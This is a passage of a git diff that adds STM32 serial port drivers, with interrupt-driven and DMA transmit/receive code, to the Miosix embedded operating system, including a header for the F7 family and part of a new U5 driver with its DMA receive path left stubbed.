+} + +ssize_t STM32Serial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + DeepSleepLock dpLock; + const char *buf=reinterpret_cast(buffer); + for(size_t i=0;iget()->ISR & USART_ISR_TXE)==0) ; + port->get()->TDR=*buf++; + } + return size; +} + +void STM32Serial::IRQhandleInterrupt() +{ + unsigned int status=port->get()->ISR; + char c; + rxUpdateIdle(status); + if(status & USART_ISR_RXNE) + { + //Always read data, since this clears interrupt flags + c=port->get()->RDR; + //If no error put data in buffer + if((status & USART_ISR_FE)==0) + if(rxQueuePut(c)==false) /*fifo overflow*/; + } + if(status & USART_ISR_IDLE) + { + port->get()->ICR=USART_ICR_IDLECF; //clears interrupt flags + } + if((status & USART_ISR_IDLE) || rxQueue.size()>=rxQueueMin) + { + //Enough data in buffer or idle line, awake thread + rxWakeup(); + } +} + +void STM32Serial::IRQwrite(const char *str) +{ + STM32SerialBase::IRQwrite(str); +} + +STM32Serial::~STM32Serial() +{ + waitSerialTxFifoEmpty(); + { + GlobalIrqLock dLock; + port->get()->CR1=0; + IRQunregisterIrq(dLock,port->getIRQn(),&STM32Serial::IRQhandleInterrupt,this); + port->IRQdisable(); + } +} + +// +// class STM32DmaSerial +// + +STM32DmaSerial::STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx) + : STM32SerialBase(id,baudrate,false), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,tx,rx); //The last two args will be ignored +} + +STM32DmaSerial::STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) + : STM32SerialBase(id,baudrate,true), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,rts,cts); +} + +void STM32DmaSerial::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + //Check if DMA is supported for this port + auto dma=port->getDma(); + if(!dma.get()) errorHandler(Error::UNEXPECTED); + GlobalIrqLock dLock; + + dma.IRQenable(); + IRQregisterIrq(dLock,dma.getTxIRQn(),&STM32DmaSerial::IRQhandleDmaTxInterrupt,this); + IRQregisterIrq(dLock,dma.getRxIRQn(),&STM32DmaSerial::IRQhandleDmaRxInterrupt,this); + dma.IRQinit(); + + port->IRQenable(); + //Lower priority to ensure IRQhandleDmaRxInterrupt() is called before + //IRQhandleInterrupt(), so that idle is set correctly + NVIC_SetPriority(port->getIRQn(),defaultIrqPriority+1); + IRQregisterIrq(dLock,port->getIRQn(),&STM32DmaSerial::IRQhandleInterrupt,this); + + STM32SerialBase::commonInit(id,baudrate,tx,rx,rts,cts); + + port->get()->CR3 = USART_CR3_DMAT | USART_CR3_DMAR; //Enable USART DMA + port->get()->CR1 = USART_CR1_UE //Enable port + | USART_CR1_IDLEIE //Interrupt on idle line + | USART_CR1_TE //Transmission enbled + | USART_CR1_RE; //Reception enabled + IRQstartDmaRead(); +} + +ssize_t STM32DmaSerial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock l(txMutex); + DeepSleepLock dpLock; + const char *buf=reinterpret_cast(buffer); + size_t remaining=size; + //If the client-provided buffer is not in CCM, we can use it directly + //as DMA source memory (zero copy). + if(isInCCMarea(buf)==false) + { + //We don't use zero copy for the last txBufferSize bytes because in this + //way we can return from this function a bit earlier. + //If we returned while the DMA was still reading from the client + //buffer, and the buffer is immediately rewritten, shit happens + while(remaining>txBufferSize) + { + //DMA is limited to 64K + size_t transferSize=min(remaining-txBufferSize,65535); + waitDmaWriteEnd(); + startDmaWrite(buf,transferSize); + buf+=transferSize; + remaining-=transferSize; + } + } + //DMA out all remaining data through txBuffer + while(remaining>0) + { + size_t transferSize=min(remaining,static_cast(txBufferSize)); + waitDmaWriteEnd(); + //Copy to txBuffer only after DMA xfer completed, as the previous + //xfer may be using the same buffer + memcpy(txBuffer,buf,transferSize); + startDmaWrite(txBuffer,transferSize); + buf+=transferSize; + remaining-=transferSize; + } + #ifdef WITH_DEEP_SLEEP + //The serial driver by default can return even though the last part of + //the data is still being transmitted by the DMA. When using deep sleep + //however the DMA operation needs to be fully enclosed by a deep sleep + //lock to prevent the scheduler from stopping peripheral clocks. + waitDmaWriteEnd(); + waitSerialTxFifoEmpty(); //TODO: optimize by doing it only when entering deep sleep + #endif //WITH_DEEP_SLEEP + return size; +} + +void STM32DmaSerial::startDmaWrite(const char *buffer, size_t size) +{ + markBufferBeforeDmaWrite(buffer,size); + DeepSleepLock dpLock; + //The TC (Transfer Complete) bit in the Status Register (SR) of the serial + //port can be reset by writing to it directly, or by first reading it + //out and then writing to the Data Register (DR). + // The waitSerialTxFifoEmpty() function relies on the status of TC to + //accurately reflect whether the serial port is pushing out bytes or not, + //so it is extremely important for TC to *only* be reset at the beginning of + //a transmission. + // Since the DMA peripheral only writes to DR and never reads from SR, + //we must read from SR manually first to ensure TC is cleared as soon as + //the DMA writes to it -- and not earlier! + // The alternative is to zero out TC by hand, but if we do that TC becomes + //unreliable as a flag. Consider the case in which we are clearing out TC + //in this routine before configuring the DMA. If the DMA fails to start due + //to an error, or the CPU is reset before the DMA transfer is started, the + //USART won't be pushing out bytes but TC will still be zero. As a result, + //waitSerialTxFifoEmpty() will loop forever waiting for the end of a + //transfer that is not happening. + while((port->get()->ISR & USART_ISR_TXE)==0) ; + + dmaTxInProgress=true; + //The reinterpret cast is needed because ST, in its infinite wisdom, decided + //that in L4 headers this register is now 16 bit. Please, nameless engineers + //at ST, stop fighting on the names and register definitions! + port->getDma().startDmaWrite( + reinterpret_cast(&port->get()->TDR),buffer,size); +} + +void STM32DmaSerial::IRQhandleDmaTxInterrupt() +{ + port->getDma().IRQhandleDmaTxInterrupt(); + dmaTxInProgress=false; + if(txWaiting==nullptr) return; + txWaiting->IRQwakeup(); + txWaiting=nullptr; +} + +void STM32DmaSerial::waitDmaWriteEnd() +{ + FastGlobalIrqLock dLock; + // If a previous DMA xfer is in progress, wait + if(dmaTxInProgress) + { + txWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(txWaiting); + } +} + +ssize_t STM32DmaSerial::readBlock(void *buffer, size_t size, off_t where) +{ + return STM32SerialBase::readFromRxQueue(buffer, size); +} + +void STM32DmaSerial::IRQstartDmaRead() +{ + port->getDma().IRQstartDmaRead( + reinterpret_cast(&port->get()->RDR), + rxBuffer,rxQueueMin); +} + +int STM32DmaSerial::IRQstopDmaRead() +{ + return rxQueueMin - port->getDma().IRQstopDmaRead(); +} + +void STM32DmaSerial::IRQflushDmaReadBuffer() +{ + int elem=IRQstopDmaRead(); + markBufferAfterDmaRead(rxBuffer,rxQueueMin); + for(int i=0;iget()->ISR; + rxUpdateIdle(status); + if(status & USART_ISR_IDLE) + { + port->get()->ICR=USART_ICR_IDLECF; //clears interrupt flags + IRQflushDmaReadBuffer(); + } + if((status & USART_ISR_IDLE) || rxQueue.size()>=rxQueueMin) + { + //Enough data in buffer or idle line, awake thread + rxWakeup(); + } +} + +void STM32DmaSerial::IRQwrite(const char *str) +{ + //Wait until DMA xfer ends. EN bit is cleared by hardware on transfer end + port->getDma().IRQwaitDmaWriteStop(); + STM32SerialBase::IRQwrite(str); +} + +STM32DmaSerial::~STM32DmaSerial() +{ + waitSerialTxFifoEmpty(); + { + GlobalIrqLock dLock; + port->get()->CR1=0; + IRQstopDmaRead(); + auto dma=port->getDma(); + IRQunregisterIrq(dLock,dma.getTxIRQn(),&STM32DmaSerial::IRQhandleDmaTxInterrupt,this); + IRQunregisterIrq(dLock,dma.getRxIRQn(),&STM32DmaSerial::IRQhandleDmaRxInterrupt,this); + IRQunregisterIrq(dLock,port->getIRQn(),&STM32DmaSerial::IRQhandleInterrupt,this); + port->IRQdisable(); + } +} + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/stm32f7_serial.h b/miosix/arch/drivers/serial/stm32f7_serial.h new file mode 100644 index 000000000..33e3a2e27 --- /dev/null +++ b/miosix/arch/drivers/serial/stm32f7_serial.h @@ -0,0 +1,429 @@ +/*************************************************************************** + * Copyright (C) 2010-2018 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "filesystem/console/console_device.h" +#include "kernel/sync.h" +#include "kernel/queue.h" +#include "interfaces/gpio.h" +#include "board_settings.h" + +namespace miosix { + +class STM32SerialHW; +class STM32Serial; +class STM32DmaSerial; + +/** + * \internal Common code for DMA and non-DMA implementations of the STM32 serial + * port class. + */ +class STM32SerialBase +{ +public: + /** + * Utility factory method for crating an instance of the STM32 serial + * drivers. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not correct range or if DMA + * operation is requested and the specified port is not supported. + * \tparam Tx Output GPIO + * \tparam Rx Input GPIO + * \tparam Rts Request to send GPIO (used only for flow control) + * \tparam Cts Clear to send GPIO (used only for flow control) + * \param id A number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1 + * \param speed Serial port baudrate + * \param flowctrl True to enable flow control + * \param dma True to enable DMA operation + */ + template + static __attribute__((always_inline)) intrusive_ref_ptr get( + unsigned int id, unsigned int speed, bool flowctrl, bool dma) + { + if(!flowctrl&&!dma) + return intrusive_ref_ptr(new STM32Serial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(!flowctrl&&dma) + return intrusive_ref_ptr(new STM32DmaSerial(id,speed, + Tx::getPin(),Rx::getPin())); + else if(flowctrl&&!dma) + return intrusive_ref_ptr(new STM32Serial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); + else //if(flowctrl&&dma) + return intrusive_ref_ptr(new STM32DmaSerial(id,speed, + Tx::getPin(),Rx::getPin(),Rts::getPin(),Cts::getPin())); + } + + /** + * \return port id, 1 for USART1, 2 for USART2, ... + */ + int getId() const { return portId; } + +private: + /** + * Constructor, does not initialize the peripheral + */ + STM32SerialBase(int id, int baudrate, bool flowControl); + + /** + * Initialize GPIOs, baud rate and flow control + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Write to the serial port directly. Interrupts must be already disabled. + */ + void IRQwrite(const char *str); + + /** + * Wait until all characters have been written to the serial port. + * Needs to be callable from interrupts disabled (it is used in IRQwrite) + */ + void waitSerialTxFifoEmpty(); + + /** + * Read a block of data from rxQueue. Stops when the maximum size is reached + * or if the line becomes idle. + */ + ssize_t readFromRxQueue(void *buffer, size_t size); + + /** + * Update if the line is idle or not from the value of the USART + * status register. + */ + inline void rxUpdateIdle(unsigned long sr) + { + idle=!!(sr & USART_ISR_IDLE); + } + + /** + * Put a value in the rxQueue. + */ + inline bool rxQueuePut(char c) + { + return rxQueue.tryPut(c); + } + + /** + * Wakeup a suspended readFromRxQueue() after a state change of rxQueue or + * line idleness status. + */ + void rxWakeup(); + + /** + * Common implementation of ioctl() for the STM32 serial + */ + int ioctl(int cmd, void* arg); + + friend class STM32Serial; + friend class STM32DmaSerial; + + const STM32SerialHW *port; ///< Pointer to USART port object + const bool flowControl; ///< True if flow control GPIOs enabled + const unsigned char portId; ///< 1 for USART1, 2 for USART2, ... + + KernelMutex rxMutex; ///< Mutex locked during reception + DynUnsyncQueue rxQueue; ///< Receiving queue + static const unsigned int rxQueueMin=16; ///< Minimum queue size + Thread *rxWaiting=nullptr; ///< Thread waiting for rx, or 0 + bool idle=true; ///< Receiver idle +}; + +/** + * Serial port class for stm32 microcontrollers. + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class STM32Serial : public STM32SerialBase, public Device +{ +public: + /** + * Constructor, initializes the serial port using remapped pins and disables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param baudrate serial port baudrate + * \param tx tx pin + * \param rx rx pin + */ + STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx); + + /** + * Constructor, initializes the serial port using remapped pins and enables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param tx tx pin + * \param rx rx pin + * \param rts rts pin + * \param cts cts pin + */ + STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg) + { + return STM32SerialBase::ioctl(cmd, arg); + } + + /** + * Destructor + */ + ~STM32Serial(); + +private: + /** + * Code common for all constructors + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * \internal the serial port interrupts call this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + KernelMutex txMutex; ///< Mutex locked during transmission +}; + +/** + * Serial port class for stm32 microcontrollers which uses DMA for data + * transfer. + * + * Classes of this type are reference counted, must be allocated on the heap + * and managed through intrusive_ref_ptr + */ +class STM32DmaSerial : public STM32SerialBase, public Device +{ +public: + /** + * Constructor, initializes the serial port using remapped pins and disables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or if + * there is no support for DMA operation for this port. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param baudrate serial port baudrate + * \param tx tx pin + * \param rx rx pin + */ + STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx); + + /** + * Constructor, initializes the serial port using remapped pins and enables + * flow control. + * + * Calls errorHandler(Error::UNEXPECTED) if id is not in the correct range, or if + * there is no support for DMA operation for this port. + * \param id a number to select which USART. The maximum id depends on the + * specific microcontroller, the minimum id is always 1. + * \param tx tx pin + * \param rx rx pin + * \param rts rts pin + * \param cts cts pin + */ + STM32DmaSerial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Read a block of data + * \param buffer buffer where read data will be stored + * \param size buffer size + * \param where where to read from + * \return number of bytes read or a negative number on failure. Note that + * it is normal for this function to return less character than the amount + * asked + */ + ssize_t readBlock(void *buffer, size_t size, off_t where); + + /** + * Write a block of data + * \param buffer buffer where take data to write + * \param size buffer size + * \param where where to write to + * \return number of bytes written or a negative number on failure + */ + ssize_t writeBlock(const void *buffer, size_t size, off_t where); + + /** + * Write a string. + * An extension to the Device interface that adds a new member function, + * which is used by the kernel on console devices to write debug information + * before the kernel is started or in case of serious errors, right before + * rebooting. + * \param str the string to write. The string must be NUL terminated. + */ + void IRQwrite(const char *str); + + /** + * Performs device-specific operations + * \param cmd specifies the operation to perform + * \param arg optional argument that some operation require + * \return the exact return value depends on CMD, -1 is returned on error + */ + int ioctl(int cmd, void *arg) + { + return STM32SerialBase::ioctl(cmd, arg); + } + + /** + * Destructor + */ + ~STM32DmaSerial(); + +private: + /** + * Code common for all constructors + */ + void commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts); + + /** + * Start a write to the serial port using DMA. The write is asynchronous + * (when the function returns, the transfer is still in progress) + * \param buffer buffer to write + * \param size size of buffer to write + */ + void startDmaWrite(const char *buffer, size_t size); + + /** + * Wait until a pending DMA TX completes, if any + */ + void waitDmaWriteEnd(); + + /** + * Start asynchronously reading from the serial port using DMA into + * rxBuffer. + */ + void IRQstartDmaRead(); + + /** + * The DMA write stream interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleDmaTxInterrupt(); + + /** + * Stop DMA read into rxBuffer + * \return the number of characters in rxBuffer + */ + int IRQstopDmaRead(); + + /** + * Moves the entire content of rxBuffer into rxQueue for reading out by + * the application thread. + */ + void IRQflushDmaReadBuffer(); + + /** + * The DMA read stream interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleDmaRxInterrupt(); + + /** + * The serial port interrupt calls this member function. + * Never call this from user code. + */ + void IRQhandleInterrupt(); + + /** + * The STM3F3, STM32F4 and STM32L4 have an ugly quirk of having 64KB RAM area + * called CCM that can only be accessed by the processor and not be the DMA. + * \param x pointer to check + * \return true if the pointer is inside the CCM, and thus it isn't possible + * to use it for DMA transfers + */ + static bool isInCCMarea(const void *x) + { + unsigned int ptr=reinterpret_cast(x); + return (ptr>=0x10000000) && (ptr<(0x10000000+64*1024)); + } + + KernelMutex txMutex; ///< Mutex locked during transmission + + Thread *txWaiting=nullptr; ///< Thread waiting for tx, or 0 + static const unsigned int txBufferSize=16; ///< Size of DMA tx buffer + /// Tx buffer, for tx speedup. This buffer must not end up in the CCM of the + /// STM32F4, as it is used to perform DMA operations. This is guaranteed by + /// the fact that this class must be allocated on the heap as it derives + /// from Device, and the Miosix linker scripts never puts the heap in CCM + char txBuffer[txBufferSize]; + /// This buffer emulates the behaviour of a 16550. It is filled using DMA + /// and an interrupt is fired as soon as it is half full + char rxBuffer[rxQueueMin]; + bool dmaTxInProgress=false; ///< True if a DMA tx is in progress +}; + +} //namespace miosix diff --git a/miosix/arch/drivers/serial/stm32u5_serial.cpp b/miosix/arch/drivers/serial/stm32u5_serial.cpp new file mode 100644 index 000000000..ef6cfc907 --- /dev/null +++ b/miosix/arch/drivers/serial/stm32u5_serial.cpp @@ -0,0 +1,635 @@ +/*************************************************************************** + * Copyright (C) 2010-2018 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include "stm32u5_serial.h" +#include "stm32_serial_common.h" +#include "kernel/sync.h" +#include "filesystem/ioctl.h" +#include "interfaces/cache.h" +#include "interfaces/gpio.h" +#include "interfaces/interrupts.h" + +using namespace std; + +namespace miosix { + +class STM32SerialDMAHW +{ +public: + inline DMA_TypeDef *get() const { return GPDMA1; } + inline void IRQenable() const { STM32Bus::IRQen(STM32Bus::AHB1, RCC_AHB1ENR_GPDMA1EN); } + inline void IRQdisable() const { STM32Bus::IRQdis(STM32Bus::AHB1, RCC_AHB1ENR_GPDMA1EN); } + + inline IRQn_Type getTxIRQn() const { return txIrq; } + inline unsigned long getTxCSR() const { return getCSR(txChannel); } + + inline IRQn_Type getRxIRQn() const { return rxIrq; } + inline unsigned long getRxCSR() const { return getCSR(rxChannel); } + + inline void IRQinit() { + tx = GPDMA1_Channel0; + txIrq = GPDMA1_Channel0_IRQn; + txChannel = 0; + + rx = GPDMA1_Channel1; + rxIrq = GPDMA1_Channel1_IRQn; + rxChannel = 1; + } + + inline void startDmaWrite(volatile uint32_t *dr, const char *buffer, size_t size) const + { + if (size == 0) + return; + size--; + + tx->CSAR = reinterpret_cast(buffer); + tx->CDAR = reinterpret_cast(dr); + + tx->CTR1 = DMA_CTR1_SINC + | ((size & 63) << DMA_CTR1_SBL_1_Pos) + | (1 << DMA_CTR1_DAP_Pos) + ; + // 25 == Usart1 - tx + tx->CTR2 = (25 << DMA_CTR2_REQSEL_Pos) + ; + + tx->CCR = DMA_CCR_EN + | DMA_CCR_TCIE + | DMA_CCR_DTEIE + | DMA_CCR_PRIO_1; // priorità media + } + + inline void IRQhandleDmaTxInterrupt() const + { + tx->CFCR = DMA_CFCR_TCF | DMA_CFCR_DTEF; + } + + inline void IRQwaitDmaWriteStop() const + { + while((tx->CCR & DMA_CCR_EN) && !(getTxCSR() & (DMA_CSR_TCF|DMA_CSR_DTEF))) ; + } + + inline void IRQstartDmaRead(volatile uint32_t *dr, char *buffer, unsigned int size) const + { + /* + rx->CSAR = reinterpret_cast(dr); + rx->CDAR = reinterpret_cast(buffer); + rx->CTR1 = (size << DMA_CTR1_SDW_LOG2_Pos) | DMA_CTR1_DINC; + rx->CCR = DMA_CCR_EN + | DMA_CCR_TCIE + | DMA_CCR_DTEIE + | DMA_CCR_PRIO_1; + */ + } + + inline int IRQstopDmaRead() const + { + return 0; + /* + rx->CCR &= ~DMA_CCR_EN; + while(rx->CCR & DMA_CCR_EN) ; + rx->CFCR = DMA_CFCR_TCF | DMA_CFCR_DTEF; + return rx->CTR1 & 0xFFFF; // numero di dati residui + */ + } + + STM32Bus::ID bus; ///< Bus where the DMA port is (AHB1) + unsigned long clkEnMask; ///< DMA clock enable bit + + DMA_Channel_TypeDef *tx; ///< Pointer to DMA TX channel + IRQn_Type txIrq; ///< DMA TX channel IRQ number + unsigned char txChannel; ///< DMA TX channel index + + DMA_Channel_TypeDef *rx; ///< Pointer to DMA RX channel + IRQn_Type rxIrq; ///< DMA RX channel IRQ number + unsigned char rxChannel; ///< DMA RX channel index + +private: + inline unsigned long getCSR(unsigned char ch) const + { + if(ch == 0) + return GPDMA1_Channel0->CSR; + else if(ch == 1) + return GPDMA1_Channel1->CSR; + return GPDMA1_Channel2->CSR; + } +}; + + +/* + * Auxiliary class that encapsulates all parts of code that differ between + * between each instance of the USART peripheral. + * + * Try not to use the attributes of this class directly even if they are public. + */ + +class STM32SerialHW +{ +public: + inline USART_TypeDef *get() const { return port; } + inline IRQn_Type getIRQn() const { return irq; } + inline STM32SerialAltFunc const & getAltFunc() const { return altFunc; } + inline unsigned int IRQgetClock() const { return STM32Bus::getClock(bus); } + inline void IRQenable() const { STM32Bus::IRQen(bus, clkEnMask); } + inline void IRQdisable() const { STM32Bus::IRQdis(bus, clkEnMask); } + inline const STM32SerialDMAHW& getDma() const { return dma; } + + inline void setBaudRate(unsigned int baudrate) const + { + unsigned int freq=IRQgetClock(); + if(isLowPower) + { + freq/=1000000; + unsigned int fac=1000000U*4096U/baudrate; + port->BRR=((fac*freq)+8)/16; + } else { + unsigned int quot=2*freq/baudrate; //2*freq for round to nearest + port->BRR=quot/2 + (quot & 1); //Round to nearest + } + } + + USART_TypeDef *port; ///< USART port + IRQn_Type irq; ///< USART IRQ number + STM32SerialAltFunc altFunc; ///< Alternate function to set for GPIOs + bool isLowPower; ///< If it is a LPUART or not + STM32Bus::ID bus; ///< Bus where the port is (APB1 or 2) + unsigned long clkEnMask; ///< USART clock enable + + STM32SerialDMAHW dma; +}; + +/* + * Table of hardware configurations + */ + +#if defined(STM32U585xx) +// 0: USART1; 1: USART2; 2: USART3; 3: UART4; 4: UART5; 6: LPUART1 +constexpr int maxPorts = 6; + +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN}, + { USART2, USART2_IRQn, {7}, false, STM32Bus::APB1L, RCC_APB1ENR1_USART2EN}, + { USART3, USART3_IRQn, {7}, false, STM32Bus::APB1L, RCC_APB1ENR1_USART3EN}, + { UART4, UART4_IRQn, {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART4EN}, + { UART5, UART5_IRQn, {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART5EN}, + { LPUART1, LPUART1_IRQn, {8}, true, STM32Bus::APB3, RCC_APB3ENR_LPUART1EN}, +}; + +#elif defined(STM32U535xx) +// 0: USART1; 1: USART2; 2: USART3; 3: UART4; 4: UART5; 6: LPUART1 +constexpr int maxPorts = 5; + +static const STM32SerialHW ports[maxPorts] = { + { USART1, USART1_IRQn, {7}, false, STM32Bus::APB2, RCC_APB2ENR_USART1EN}, + { USART3, USART3_IRQn, {7}, false, STM32Bus::APB1L, RCC_APB1ENR1_USART3EN}, + { UART4, UART4_IRQn, {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART4EN}, + { UART5, UART5_IRQn, {8}, false, STM32Bus::APB1L, RCC_APB1ENR1_UART5EN}, + { LPUART1, LPUART1_IRQn, {8}, true, STM32Bus::APB3, RCC_APB3ENR_LPUART1EN}, +}; + + +#else +// STM32U535xx has different alternate functions! +#error Unsupported STM32 chip for this serial driver +#endif + +// +// class STM32SerialBase +// + +// A note on the baudrate/500: the buffer is selected so as to withstand +// 20ms of full data rate. In the 8N1 format one char is made of 10 bits. +// So (baudrate/10)*0.02=baudrate/500 +STM32SerialBase::STM32SerialBase(int id, int baudrate, bool flowControl) : + flowControl(flowControl), portId(id), rxQueue(rxQueueMin+baudrate/500) +{ + if(id<1 || id>maxPorts) errorHandler(Error::UNEXPECTED); + port=&ports[id-1]; + if(port->get()==nullptr) errorHandler(Error::UNEXPECTED); +} + +void STM32SerialBase::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + port->getAltFunc().set(tx); + port->getAltFunc().set(rx,true); //Pullup: prevent spurious rx if unconnected + if(flowControl) + { + port->getAltFunc().set(rts); + port->getAltFunc().set(cts); + } + port->setBaudRate(baudrate); + if(flowControl==false) port->get()->CR3 |= USART_CR3_ONEBIT; + else port->get()->CR3 |= USART_CR3_ONEBIT | USART_CR3_RTSE | USART_CR3_CTSE; +} + +void STM32SerialBase::IRQwrite(const char *str) +{ + while(*str) + { + while((port->get()->ISR & USART_ISR_TXE)==0) ; + port->get()->TDR=*str++; + } + waitSerialTxFifoEmpty(); +} + +inline void STM32SerialBase::waitSerialTxFifoEmpty() +{ + while((port->get()->ISR & USART_ISR_TC)==0) ; +} + +ssize_t STM32SerialBase::readFromRxQueue(void *buffer, size_t size) +{ + Lock l(rxMutex); + char *buf=reinterpret_cast(buffer); + size_t result=0; + FastGlobalIrqLock dLock; + DeepSleepLock dpLock; + for(;;) + { + //Try to get data from the queue + for(;result0) break; + if(result==size) break; + //Wait for data in the queue + rxWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(rxWaiting); + } + return result; +} + +void STM32SerialBase::rxWakeup() +{ + if(rxWaiting) + { + rxWaiting->IRQwakeup(); + rxWaiting=nullptr; + } +} + +int STM32SerialBase::ioctl(int cmd, void* arg) +{ + if(reinterpret_cast(arg) & 0b11) return -EFAULT; //Unaligned + termios *t=reinterpret_cast(arg); + switch(cmd) + { + case IOCTL_SYNC: + waitSerialTxFifoEmpty(); + return 0; + case IOCTL_TCGETATTR: + t->c_iflag=IGNBRK | IGNPAR; + t->c_oflag=0; + t->c_cflag=CS8 | (flowControl ? CRTSCTS : 0); + t->c_lflag=0; + return 0; + case IOCTL_TCSETATTR_NOW: + case IOCTL_TCSETATTR_DRAIN: + case IOCTL_TCSETATTR_FLUSH: + //Changing things at runtime unsupported, so do nothing, but don't + //return error as console_device.h implements some attribute changes + return 0; + default: + return -ENOTTY; //Means the operation does not apply to this descriptor + } +} + +// +// class STM32Serial +// + +STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx) + : STM32SerialBase(id,baudrate,false), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,tx,rx); //The last two args will be ignored +} + +STM32Serial::STM32Serial(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) + : STM32SerialBase(id,baudrate,true), Device(Device::TTY) +{ + commonInit(id,baudrate,tx,rx,rts,cts); +} + +void STM32Serial::commonInit(int id, int baudrate, GpioPin tx, GpioPin rx, + GpioPin rts, GpioPin cts) +{ + GlobalIrqLock dLock; + port->IRQenable(); + + IRQregisterIrq(dLock,port->getIRQn(),&STM32Serial::IRQhandleInterrupt,this); + STM32SerialBase::commonInit(id,baudrate,tx,rx,rts,cts); + //Enabled, 8 data bit, no parity, interrupt on character rx + port->get()->CR1 = USART_CR1_UE //Enable port + | USART_CR1_RXNEIE //Interrupt on data received + | USART_CR1_IDLEIE //Interrupt on idle line + | USART_CR1_TE //Transmission enbled + | USART_CR1_RE; //Reception enabled +} + +ssize_t STM32Serial::readBlock(void *buffer, size_t size, off_t where) +{ + return STM32SerialBase::readFromRxQueue(buffer, size); +} + +ssize_t STM32Serial::writeBlock(const void *buffer, size_t size, off_t where) +{ + Lock 